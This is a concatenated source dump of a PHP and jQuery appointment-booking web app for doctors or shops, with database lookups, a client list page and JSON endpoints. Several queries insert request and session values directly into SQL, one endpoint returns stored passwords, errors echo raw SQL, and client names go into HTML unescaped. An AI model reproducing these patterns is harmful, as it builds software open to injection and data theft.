require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$shopid=$_SESSION['shopid'];
$shopdetails=getShopDetailsByShopID($shopid);
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$shopdetails,'ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function getShopDetailsByShopID($shopid){
try{
$userid=-1;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$shopdetails=array();
$sql="select x.Login_Username username,x.Login_Password <PASSWORD> ,x1.Shop_Name1 shop_name,x1.Shop_Name2 shop_description,x1.Shop_Address shop_address ,x1.Shop_City shop_city,x1.Shop_Phone1 shop_phone,x1.Shop_Web_Page shop_web,x1.Shop_FB_Page fb_page,x1.Shop_Open_Hrs open_hrs,x1.Shop_Open_Dt open_date,x1.Shop_img_url image_url,x1.shop_type account_type,x1.sms_service_status sms_service,x2.SMS_Current sms_remaining,x1.shop_desc description,x1.shop_default_desc default_description,x3.Push_first_notify_hr notify_hr1,x3.Push_second_notify_hr notify_hr2,x3.Sms_notify_hr sms_notify_hr from $dbname.Login x,$dbname.Shop_Details x1 ,$dbname.SMS_Table x2 ,$dbname.Shop_notify_settings x3 where x.Login_ID=x1.Shop_Login_ID and x1.Shop_ID=x2.Shop_ID and x1.Shop_ID=x3.Shop_ID and x1.Shop_ID=$shopid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$shopdetails['username']=$row['username'];
$shopdetails['password']=$row['<PASSWORD>'];
$shopdetails['shop_name']=$row['shop_name'];
$shopdetails['shop_description']=$row['shop_description'];
$shopdetails['shop_address']=$row['shop_address'];
$shopdetails['shop_city']=$row['shop_city'];
$shopdetails['shop_phone']=$row['shop_phone'];
$shopdetails['shop_web']=$row['shop_web'];
$shopdetails['fb_page']=$row['fb_page'];
$shopdetails['open_hrs']=$row['open_hrs'];
$shopdetails['open_date']=$row['open_date'];
$shopdetails['image_url']=$row['image_url'];
$shopdetails['sms_remaining']=$row['sms_remaining'];
$shopdetails['notify_hr1']=$row['notify_hr1'];
$shopdetails['notify_hr2']=$row['notify_hr2'];
$shopdetails['sms_notify_hr']=$row['sms_notify_hr'];
$shopdetails['account_type']=$row['account_type'];
$shopdetails['image_url']=$row['image_url'];
$shopdetails['description']=$row['description'];
$shopdetails['default_description']=$row['default_description'];
$shopdetails['sms_service']=$row['sms_service'];
}
mysqli_close($conn);
return $shopdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/load-shop.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
if($_SERVER['REQUEST_METHOD']==='POST')
{
$doctor_id = trim($_POST['doctor_id']);
$search = trim($_POST['search']);
$searchCriteria = trim($_POST['searchCriteria']);
$searchData = trim($_POST['searchData']);
loadShopDetails($doctor_id,$search,$searchCriteria,$searchData);
} else {
throw new Exception(GET_METHOD_NOT_SUPPORTED);
}
}catch(Exception $e){
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function loadShopDetails($doctor_id,$search,$searchCriteria,$searchData){
try{
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql = "select count(usm.user_id) as user_connected , sdm.shop_id , sd.shop_name1 , st.sms_limit , st.sms_current
,(select count(user_id) as appoinments from Client_Shop_Apnt where shop_id = sdm.shop_id and user_apnt_status IN ( 'BOOKED' , 'CONFIRMED' )) as appoinments
from Doctor_Details dd
inner join Shop_Doc_Map sdm on dd.doc_id = sdm.doc_id
inner join Shop_Details sd on sd.shop_id = sdm.shop_id
inner join SMS_Table st on st.shop_id = sd.shop_id
and dd.doc_status = 'Y'
and sdm.shop_doc_link_flag = 'Y'
and sd.shop_status = 'Active'
and dd.doc_id = $doctor_id
left outer join User_Shop_Map usm on st.shop_id = usm.shop_id and user_active_flag = 'Y'
group by sd.shop_id";
if( $search ){
$sql = "select count(usm.user_id) as user_connected , sdm.shop_id , sd.shop_name1 , st.sms_limit , st.sms_current
,(select count(user_id) as appoinments from Client_Shop_Apnt where shop_id = sdm.shop_id and user_apnt_status IN ( 'BOOKED' , 'CONFIRMED' )) as appoinments
from Doctor_Details dd
inner join Shop_Doc_Map sdm on dd.doc_id = sdm.doc_id
inner join Shop_Details sd on sd.shop_id = sdm.shop_id
inner join SMS_Table st on st.shop_id = sd.shop_id
and dd.doc_status = 'Y'
and sdm.shop_doc_link_flag = 'Y'
and sd.shop_status = 'Active'
and dd.doc_id = $doctor_id and sd.shop_name1 like '%$searchData%'
left join User_Shop_Map usm on st.shop_id = usm.shop_id and user_active_flag = 'Y'
group by sd.shop_id";
}
$result=mysqli_query($conn,$sql);
$shop_details = array();
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
$shop_details[] = array( 'appoinments' => $row['appoinments'] , 'shop_id' => $row['shop_id'] , 'shop_name' => $row['shop_name1'] ,'user_connected' => $row['user_connected'],'sms_balance' => $row['sms_limit'],'sms_sent' => $row['sms_current']);
}
}
mysqli_close($conn);
echo json_encode($shop_details);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/pages/client-list.php
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
try{
$shopid=$_SESSION['shopid'];
if(empty($shopid)){
header("Location: login.html");
}
}
catch(Exception $e){
header("Location: login.html");
}
?>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Doctor's App</title>
<link href="../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<link href="../vendor/bootstrap/css/bootstrap-datetimepicker.min.css" rel="stylesheet">
<link href="../vendor/metisMenu/metisMenu.min.css" rel="stylesheet">
<link href="../dist/css/sb-admin-2.css" rel="stylesheet">
<link href="../vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="../css/bootstrap-toggle.min.css" rel="stylesheet">
<style type="text/css">
.toggle.ios, .toggle-on.ios, .toggle-off.ios { border-radius: 20px; }
.toggle.ios .toggle-handle { border-radius: 20px; }
</style>
<style type="text/css">
.display_none{
display: none;
}
.delete_appoinment{
cursor: pointer;
}
</style>
</head>
<body>
<div id="edit_client_data" class="display_none"></div>
<div id="wrapper" class="client_list_details">
<!-- Navigation -->
<!-- Page Content -->
<div id="page-wrapper" >
<div class="row" style="margin-left:10px;">
<div class="container-fluid">
<div class="row" style="margin-left:10px;">
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="new-client.php">Nuovo Cliente</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="client-list.php">Elenco clienti</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="activityoftoday.php">Attivitá di oggi</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="my-profile.php">ll mio profilo</a>
</li>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<li>
<a href="client-message.php">Messaggi dai clienti <span class="badge" id="notification_count" style="background-color:#C0392B;"></span></a>
</li>
</div>
<div class="col-lg-1 col-md-1 col-sm-1 col-xs-1">
<li>
<a href="../php/logout.php"><i class="fa fa-power-off fw"></i></a>
</li>
</div>
</div>
<div class="h-divider">
</div>
<div class="row" style="margin-top:20px;">
<form id="shop_details">
<div class="col-lg-12 col-md-12 col-xs-12 col-sm-12">
<label class="col-lg-2 col-md-2 col-sm-2 col-xs-2 control-label" >Search :</label>
</div>
<div class="col-lg-12 col-md-12 col-xs-12 col-sm-12" style="margin-top: 20px;" >
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3 ">
<select class="input-sm form-control input-s-sm inline" style="background: gainsboro;" name="searchCriteria">
<option value="F">Nome defoult</option>
<option value="L">Cognome</option>
</select>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<input type="text" name="searchData" placeholder="input name" class="form-control">
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<button type="button" class="btn btn-sm btn-primary" id="search"><i class="fa fa-search"></i>
<span> Premi invio per cercare </span></button>
</div>
</div>
<input type="hidden" placeholder="input value" name="shop_id" id="shop_id" class="form-control" value="<?php echo $shopid ?>">
</form>
</div>
<div class="col-lg-12 col-md-12 col-xs-12 col-sm-12" style="margin-top: 20px;">
<div class="table-responsive">
<table class="table table-bordered" >
<thead>
<tr>
<th>Nome</th>
<th>Cognome</th>
<th>Prossimo appuntamento</th>
<th>serv. SMS</th>
<th>Prenota un appuntamento</th>
<th>Profilo</th>
</tr>
</thead>
<tbody id="client_details">
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="newappointment" class="modal fade" role="dialog">
<div class="modal-dialog">
<!-- Modal content-->
<div id="newappointmentmodal" class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Nuovo apuntamento</h4>
</div>
<div class="modal-body">
<div class="form-horizontal">
<div class="row" >
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 nopadding" >
<div class="form-group" id="success-appointment" style="display:none">
<h6 style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i>Data inserted successfully</h6>
</div>
<div class="form-group" id="error-appointment" style="display:none">
</div>
<div class="form-group" style="padding:0;margin:0;">
<label>Nome:</label>
<label id="appointment_name"></label>
</div>
<div class="form-group" style="padding:0;margin:0;">
<label>Cognome:</label>
<label id="appointment_surname"></label>
</div>
</div>
</div>
<div class="row" style="margin-top:30px;">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 nopadding" >
<div class="form-group" id="tipo_attivita_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Tipo Attivitá:</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8 pull-left">
<input type="text" placeholder="Type the activity to show on the application" name="tipo_attivita" id="tipo_attivita" class="form-control" >
</div>
</div>
<div class="form-group" id="seconda_attivita_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 nopadding">Seconda linea attivita(facoltativa):</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8 nopadding">
<input type="text" placeholder="Second line of description of the activity" name="seconda_attivita" id="seconda_attivita" class="form-control" >
</div>
</div>
<div class="form-group" id="appointment_end_date_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Data:</label>
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-4">
<div class='input-group date' id='datetimepicker1'>
<input type='text' class="form-control" placeholder="" name="appointment_end_date" id="appointment_end_date" />
<span class="input-group-addon">
<i class="glyphicon glyphicon-calendar" style="color:brown"></i>
</span>
</div>
</div>
</div>
<div class="form-group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 nopadding">Ora:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<select class="form-control" name="ora1" id="ora1">
<option value="0">00 </option>
<option value="1">01</option>
<option value="2">02</option>
<option value="3">03</option>
<option value="4">04</option>
<option value="5">05</option>
<option value="6">06</option>
<option value="7">07</option>
<option value="8">08</option>
<option value="9">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
</select>
</div>
<label class="col-lg-1 col-md-1 col-sm-1 col-xs-1 control-label">:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2 nopadding">
<select class="form-control" name="ora2" id="ora2">
<option value="0">00</option>
<option value="10">10</option>
<option value="20">20</option>
<option value="30">30</option>
<option value="40">40</option>
<option value="50">50</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Servizio SMS:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<input type="checkbox" name="contacted" data-on="on" data-off="off" data-toggle="toggle" data-onstyle="success" data-size="mini" checked data-style="ios" value="checked">
</div>
</div>
<div class="form-group pull-right" style="margin-right:10px;">
<button id="addappointment" class="btn btn-primary">INSERISCI <br/>APPUNTAMENTO</button>
<button id="addanotherapointment" class="btn btn-primary">INSERISCI UN ALTRO<br/> APPUNTAMENTO</button>
</div>
<input type="hidden" id="appointment_userid" name="appointment_userid"/>
<input type="hidden" id="appointment_hidden_name" name="appointment_hidden_name"/>
<input type="hidden" id="appointment_hidden_surname" name="appointment_hidden_surname"/>
<input type="hidden" id="appointment_telephone" name="appointment_telephone"/>
<input type="hidden" id="appointment_email" name="appointment_email"/>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="../vendor/jquery/jquery.min.js"></script>
<script src="../vendor/bootstrap/js/bootstrap.min.js"></script>
<script src="../vendor/metisMenu/metisMenu.min.js"></script>
<script src="../dist/js/sb-admin-2.js"></script>
<script src="../js/bootstrap-toggle.min.js"></script>
<script src="../vendor/moment/moment.min.js"></script>
<script src="../vendor/bootstrap/js/bootstrap-datetimepicker.min.js"></script>
<script>
$(document).ready(function(){
//$('#sms_service').bootstrapToggle("on");
loadClientList( false );
$('#search').click(function(){
$('#client_details').html('');
loadClientList( true );
});
$('#dismiss_success').click(function(){
document.location = 'client-list.php';
});
$(this).on( 'click' , '.delete_appoinment' , function(){
var appoinment_id = $(this).attr('appoinment_id');
var formData = new FormData();
formData.append( 'appointment_id' , appoinment_id );
$.ajax({
url: '../php/delete_appoinment.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
$('.popover').hide();
$('#reason').html('Appointment cancelled successfully');
$("#messagemodal").modal();
},
cache: false,
contentType: false,
processData: false
});
});
$(this).on( 'click' , '.book_new_appointment' , function(){
var qrcode = $(this).attr('qrcode');
var shop_id = $('#shop_id').val();
var user_id = $(this).attr('user_id');
var formData = new FormData();
formData.append( 'shop_id' , shop_id );
formData.append( 'qrcode' , qrcode );
formData.append( 'user_id' , user_id );
$.ajax({
url: '../php/search-client.php',
type: 'POST',
data: formData,
async: false,
success: function(data){
console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.OPERATION==0){
var searchresult=finaldata.SEARCH_RESULT;
var userid=searchresult['user_id'];
var name=searchresult['first_name'];
var lastname=searchresult['last_name'];
var mobileno=searchresult['mobile_no'];
var email=searchresult['email_id'];
$('#client_name').val(name);
$('#client_surname').val(lastname);
$('#client_telephone').val(mobileno);
$('#client_email').val(email);
$('#user_id').val(userid);
$('#appointment_name').text(name);
$('#appointment_surname').text(lastname);
$('#appointment_userid').val(userid);
}else{
$("#errormessage").show();
}
},
cache: false,
contentType: false,
processData: false
});
});
$(this).on( 'click' , '.edit_client' , function(){
var qrcode = $(this).attr('qrcode');
var shop_id = $('#shop_id').val();
var user_id = $(this).attr('user_id');
var formData = new FormData();
formData.append( 'shop_id' , shop_id );
formData.append( 'qrcode' , qrcode );
formData.append( 'user_id' , user_id );
$.ajax({
url: '../php/search-client.php',
type: 'POST',
data: formData,
async: false,
success: function(data){
console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.OPERATION==0){
var searchresult=finaldata.SEARCH_RESULT;
var userid=searchresult['user_id'];
var name=searchresult['first_name'];
var lastname=searchresult['last_name'];
var mobileno=searchresult['mobile_no'];
var email=searchresult['email_id'];
$.ajax({
url: "update-client.php",
data: 'user_id='+userid+'&client_name='+name+'&client_surname='+lastname+'&client_telephone='+mobileno+'&email='+email+'&fromCLientList=true',
type: "GET",
success: function(data){
$('#edit_client_data').html(data);
$('.client_list_details').hide();
$('#edit_client_data').show();
}
});
}
},
cache: false,
contentType: false,
processData: false
});
});
$('#addanotherapointment').click(function(){
$('#tipo_attivita').val('');
$('#seconda_attivita').val('');
$('#appointment_end_date').val('');
$('#ora1').val("0");
$('#ora2').val("0");
$('#sms_service').val("on");
$('#success-appointment').hide();
$('#error-appointment').hide();
});
$('#addappointment').click(function(){
var isRequiredFieldBlank=false;
if($("input[name='tipo_attivita']").val()==""){
$("#tipo_attivita_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#tipo_attivita_group").hasClass("has-error")){
$("#tipo_attivita_group").removeClass("has-error")
}
}
if($("input[name='seconda_attivita']").val()==""){
$("#seconda_attivita_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#seconda_attivita_group").hasClass("has-error")){
$("#seconda_attivita_group").removeClass("has-error")
}
}
if($("input[name='appointment_end_date']").val()==""){
$("#appointment_end_date_group").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#appointment_end_date_group").hasClass("has-error")){
$("#appointment_end_date_group").removeClass("has-error")
}
}
if(!isRequiredFieldBlank){
var name=$('#appointment_hidden_name').val();
var lastname=$('#appointment_hidden_surname').val();
var telephone=$('#appointment_telephone').val();
var email=$('#appointment_email').val();
var userid=$('#appointment_userid').val();
var firstlineactivity=$('#tipo_attivita').val();
var secondlineactivity=$('#seconda_attivita').val();
var appointmentenddate=$('#appointment_end_date').val();
var ora1=$('#ora1').val();
var ora2=$('#ora2').val();
var sms_service=$('#sms_service').val();
$.post("../php/insert-appointment.php",
{appointment_hidden_name:name,
appointment_hidden_surname:lastname,
appointment_telephone:telephone,
appointment_email:email,
appointment_userid:userid,
tipo_attivita:firstlineactivity,
seconda_attivita:secondlineactivity,
appointment_end_date:appointmentenddate,
ora1:ora1,
ora2:ora2,
sms_service:sms_service
},
function(result){
console.log(result);
var finaldata=JSON.parse(result);
if(finaldata.OPERATION==0){
var userid=finaldata.USER_ID;
$('#appointment_userid').val(userid);
$('#success-appointment').show();
}else{
var error_code=finaldata.VALIDATION_ERROR;
$('#success-appointment').hide();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').appendTo('#error-appointment');
$('#error-appointment').show();
}
});
}
});
});
function loadClientList(search){
var formData = new FormData($('#shop_details')[0]);
formData.append('search' , search );
$.ajax({
url: '../php/load-client.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
var clientDetails = JSON.parse(data);
var client_details = "";
$.each( clientDetails , function(index , value){
var user_first_name = value.user_first_name;
var user_last_name = value.user_last_name;
var user_id = value.user_id;
var user_qr_code = value.user_qr_code;
var shop_id = $('#shop_id').val();
var appoinmentDate = "";
var is_sms_active = false;
var appointment_ID = 0;
var formData = new FormData();
formData.append( 'shop_id' , shop_id );
formData.append( 'user_id' , user_id );
var details='';
$.ajax({
url: '../php/load-client_appoinment.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
var clientApntDetails = JSON.parse(data);
$.each( clientApntDetails , function(index , value1){
if( jQuery.isEmptyObject( appoinmentDate ) ){
appoinmentDate = value1.user_apnt_dt;
is_sms_active = value1.is_sms_active;
appointment_ID = value1.Appointment_ID;
}
details = details + value1.user_apnt_dt + ' ' + value1.user_apnt_time + '<i appoinment_id='+value1.Appointment_ID+' class=\'delete_appoinment fa fa-close\' style=\'color:red;margin-left:10px;\'> </i><br>';
});
},
cache: false,
contentType: false,
processData: false
});
client_details = client_details + '<tr>'+
'<td class="firstName">'+user_first_name+'</td>'+
'<td class="lastName">'+user_last_name+'</td>';
if( jQuery.isEmptyObject( details )){
client_details = client_details + '<td></td>';
}
else{
client_details = client_details + '<td><span class="appoinment_date">'+appoinmentDate+'</span><a data-content="'+details+'" class="appoinment_details" href="#" data-toggle="popover" title="Prossimi Apuntamenti" data-html="true" ><i class="fa fa-calendar" style="font-size:20px"></i></a></td>'
}
var sms_enable = '';
if( value.is_sms_active == '1' ){
sms_enable='checked';
}
client_details = client_details + '<td class="sms_option" >'+
'<input type=\"checkbox\" name=\"sms_enable\" shop_id='+shop_id+' user_id='+user_id+' data-on=\"on\" data-off=\"off\" data-toggle=\"toggle\" data-onstyle=\"success\" data-size=\"mini\" '+sms_enable+' data-style=\"ios\" value=\"'+sms_enable+'\">'+
'</td>'+
'<td ><a qrcode='+user_qr_code+' user_id='+user_id+' class="book_new_appointment" data-toggle="modal" href="#newappointment" style="color: blue;" >Book New Appoinment</a></td>'+
'<td><button qrcode='+user_qr_code+' user_id='+user_id+' class="btn btn-primary edit_client" type="button" ><i class="fa fa-pencil"></i></button></td>'+
'</tr>';
});
$('#client_details').append( client_details )
},
cache: false,
contentType: false,
processData: false
});
$("[name='sms_enable']").bootstrapToggle('on');
$('[data-toggle="popover"]').popover();
}
</script>
<script type="text/javascript">
$(function () {
$('#datetimepicker1').datetimepicker({
format:'YYYY-MM-DD'
});
$(document).on('change','[name="sms_enable"]',function(){
var currentStatus = $(this).prop('checked') ;
var shop_id = $(this).attr('shop_id') ;
var user_id = $(this).attr('user_id');
var formData = new FormData();
formData.append( 'shop_id' , shop_id );
formData.append( 'user_id' , user_id );
formData.append( 'is_sms_active' , currentStatus );
$.ajax({
url: '../php/update_client_sms_settings.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
console.log( data );
},
cache: false,
contentType: false,
processData: false
});
});
});
</script>
<script>
var ajax_call = function() {
$.ajax({
url: '../php/get-notification-count.php',
type: 'POST',
async: false,
success:function(data){
// console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.COUNT>0){
$('#notification_count').show();
$('#notification_count').text(finaldata.COUNT);
}else{
$('#notification_count').hide();
}
},
cache: false,
contentType: false,
processData: false
});
};
var interval = 1000 * 60 * 1; // where X is your every X minutes
setInterval(ajax_call, interval);
</script>
<div class="modal modal-lg modal-md modal-sm modal-xs" id="messagemodal" role="dialog" style="margin-top:200px;margin-left:200px;">
<div class="modal-dialog">
<div class="modal-content" style="background-color:gainsboro">
<div class="modal-body" >
<div>
<h6 id="reason" style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i></h6>
<button type="button" id="dismiss_success" class="btn btn-md btn-primary" style="margin-left:260px;margin-bottom:20px;" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
<file_sep>/php/shop-connected-app.php
<?php
header('Access-Control-Allow-Origin: *');
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id=stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$shopConnected=findShopsConnected($user_id);
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$shopConnected,'ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function findShopsConnected($user_id){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select X1.shop_name1 shop_name,X1.shop_id shop_id,X1.shop_address shop_address,X1.shop_city shop_city,X1.shop_img_url shop_image, X1.shop_desc , Date(X.insert_date) as insert_date,X.is_shop_fav_flag fav_flag from User_Shop_Map X,Shop_Details X1
where X.shop_id=X1.shop_id
and X.user_id=$user_id";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
$shop_details = array();
if($rowcount>0){
while($row=mysqli_fetch_assoc($result)){
$shop_details[] = array( 'shop_name' => $row['shop_name'] , 'shop_id' => $row['shop_id'] , 'shop_address' => $row['shop_address'] ,
'shop_city' => $row['shop_city'],'shop_image' => $row['shop_image'],'fav_flag' => $row['fav_flag'],'shop_desc' => $row['shop_desc'],'insert_date' => $row['insert_date']);
}
}
mysqli_close($conn);
return $shop_details;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/appointmentDetails-app.php
<?php
header('Access-Control-Allow-Origin: *');
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$appointment_id = stripslashes(htmlspecialchars(trim($_POST['appointment_id'])));
$appointmentdetails = findAppointmentDetails( $appointment_id );
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$appointmentdetails,'ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function findAppointmentDetails( $appointment_id ){
try{
$appointmentdetails = array();
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select
a2.shop_id,a.user_id,a2.shop_desc,a.first_line_activity,
a.user_apnt_status,
a.user_apnt_dt,
a.user_apnt_time,
a2.Shop_Phone1,a2.Shop_Web_Page,a2.Shop_FB_Page,
a2.shop_name1,
a2.shop_address,
a2.Shop_City,a2.shop_open_hrs,
a4.Doc_ID,a4.Doc_First_Name,a4.Doc_Last_Name,
a.update_date,
a2.shop_img_url
from
Client_Shop_Apnt a,
Shop_Details a2, Shop_Doc_Map a3,
Doctor_Details a4
where a.shop_id=a2.shop_id
and a2.shop_id = a3.shop_id
and a3.doc_id=a4.doc_id
and a.Appointment_ID=$appointment_id";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$appointmentdetails['shop_name1']=$row['shop_name1'];
$appointmentdetails['shop_id']=$row['shop_id'];
$appointmentdetails['user_id']=$row['user_id'];
$appointmentdetails['user_apnt_dt']=$row['user_apnt_dt'];
$appointmentdetails['user_apnt_time']=$row['user_apnt_time'];
$appointmentdetails['user_apnt_status']=$row['user_apnt_status'];
$appointmentdetails['update_date']=$row['update_date'];
$appointmentdetails['shop_img_url']=$row['shop_img_url'];
$appointmentdetails['doc_first_name']=$row['doc_first_name'];
$appointmentdetails['doc_last_name']=$row['doc_last_name'];
$appointmentdetails['Shop_Phone1']=$row['Shop_Phone1'];
$appointmentdetails['Shop_Web_Page']=$row['Shop_Web_Page'];
$appointmentdetails['Shop_FB_Page']=$row['Shop_FB_Page'];
$appointmentdetails['shop_address']=$row['shop_address'];
$appointmentdetails['Shop_City']=$row['Shop_City'];
$appointmentdetails['Shop_Web_Page']=$row['Shop_Web_Page'];
$appointmentdetails['Shop_FB_Page']=$row['Shop_FB_Page'];
$appointmentdetails['shop_open_hrs']=$row['shop_open_hrs'];
$appointmentdetails['Doc_ID']=$row['Doc_ID'];
$appointmentdetails['shop_desc']=$row['shop_desc'];
$appointmentdetails['first_line_activity']=$row['first_line_activity'];
}
mysqli_close($conn);
return $appointmentdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/pages/update-client.php
<!DOCTYPE html>
<?php
session_start();
try{
$shopid=$_SESSION['shopid'];
if(empty($shopid)){
header("Location: login.html");
}
}
catch(Exception $e){
header("Location: login.html");
}
?>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Doctor's App</title>
<!-- Bootstrap Core CSS -->
<link href="../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- Bootstrap datetimepicker CSS -->
<link href="../vendor/bootstrap/css/bootstrap-datetimepicker.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="../vendor/metisMenu/metisMenu.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../dist/css/sb-admin-2.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="../vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="../css/bootstrap-toggle.min.css" rel="stylesheet">
<style type="text/css">
.toggle.ios, .toggle-on.ios, .toggle-off.ios { border-radius: 20px; }
.toggle.ios .toggle-handle { border-radius: 20px; }
</style>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="wrapper">
<!-- Navigation -->
<!-- Page Content -->
<div id="page-wrapper" >
<div class="row">
<div class="container-fluid">
<div class="row" style="margin-left:10px;">
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="new-client.php">Nuovo Cliente</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="client-list.php">Elenco clienti</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="activityoftoday.php">Attivitá di oggi</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="my-profile.php">ll mio profilo</a>
</li>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<li>
<a href="client-message.php">Messaggi dai clienti <span id="notification_count" class="badge" style="background-color:#C0392B;"></span></a>
</li>
</div>
